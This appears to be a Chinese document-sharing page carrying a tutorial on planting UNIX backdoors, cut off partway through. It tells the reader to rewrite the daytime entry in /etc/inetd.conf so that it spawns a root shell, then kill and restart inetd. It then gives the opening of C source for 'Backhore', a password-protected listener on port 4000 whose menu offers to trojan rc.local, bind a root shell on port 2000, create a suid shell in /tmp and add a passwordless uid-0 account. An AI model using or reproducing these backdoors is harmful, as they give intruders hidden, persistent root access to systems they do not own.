资源描述:
《教你如何创建UNIX后门(中级篇)》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、教你如何创建UNIX后门(中级篇)。允许的类型列在protocols文件中。协议几乎总是是tcp或udp.RPC服务在协议类型前冠以rpc/. 4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成wait,这样可以阻止inetd持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果wait不合适,那么在本栏中填nowait. 5:第五栏给出运行守护进程的用户名。 6:第六栏给出守护进程的全限定路径名。 7:守护进程的真实名字及其参数。 如果所要处理的工作微不足道(如不需要用户交互
2、),inetd守护进程便自己处理。此时第六、七栏只需填上'internal'即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加UID0的帐号,或复制一个suidshell. 一个比较好的方法之一,就是将用于提供日期时间的服务daytime替换为能够产生一个suidroot的shell.只要将/etc/inetd.conf文件中的: daytimestreamtcpnowaitrootinternal 修改为: daytimestreamtcpnowait
3、/bin/shsh-i. 然后重启(记住:一定要重启)inetd进程: killall-9inetd. 但更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等。如果能够在不通过telnetd连接的情况下轻松地进行远程访问,那是再好不过了。方法就是将"自己的"守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统。以下是这种后门的一个示范程序。(注:这个程序写得并不很完整。) <++>backdoor/remoteback.c /*Cod
4、ers: Theft Helpfrom: Sector9,Halogen Greets:People:Liquid,AntiSocial,Peak,Grimknight,s0ttle,halogen, Psionic,g0d,Psionic. Groups:EthicalMutinyCrew(EMC),CommonPurposehackers(CPH), GlobalHell(gH),TeamSploit,HongKongDangerDuo, Tg0d,EHAP. Usage: Setup: #gcc-obackh
5、orebackhore.c#./backdoorpassword& Run: Telnettothehostonport4000.Afterconnectedyou Willnotbepromptedforapassword,thiswayitisless Obvious,justtypethepasswordandpressenter,afterthis Youwillbepromptedforacommand,pick1-8. Distributers: EthicalMutinyCrew */ #include
6、#include #include #include #include #include #include #include #definePORT4000 #defineMAXDATASIZE100 #defineBACKLOG10 #defineSAstructsockaddr voidhandle(int); int main(intargc,char*argv[]) { intsockfd,new_fd,sin_size,numbytes,cmd; charask[10]="Command:";
7、 char*bytes,*buf,pass[40]; structsockaddr_inmy_addr; structsockaddr_intheir_addr; printf("nBackhoreBETAbyTheftn"); printf("1:trojansrc.localn"); printf("2:sendsasystemwidemessagen"); printf("3:bindsarootshellonport2000n"); printf("4:createssuidshin/tmpn"); printf
8、("5:createsmutinyaccountuid0nopasswdn"); printf("6:dropstosuidshelln"); printf("7:informationonbackho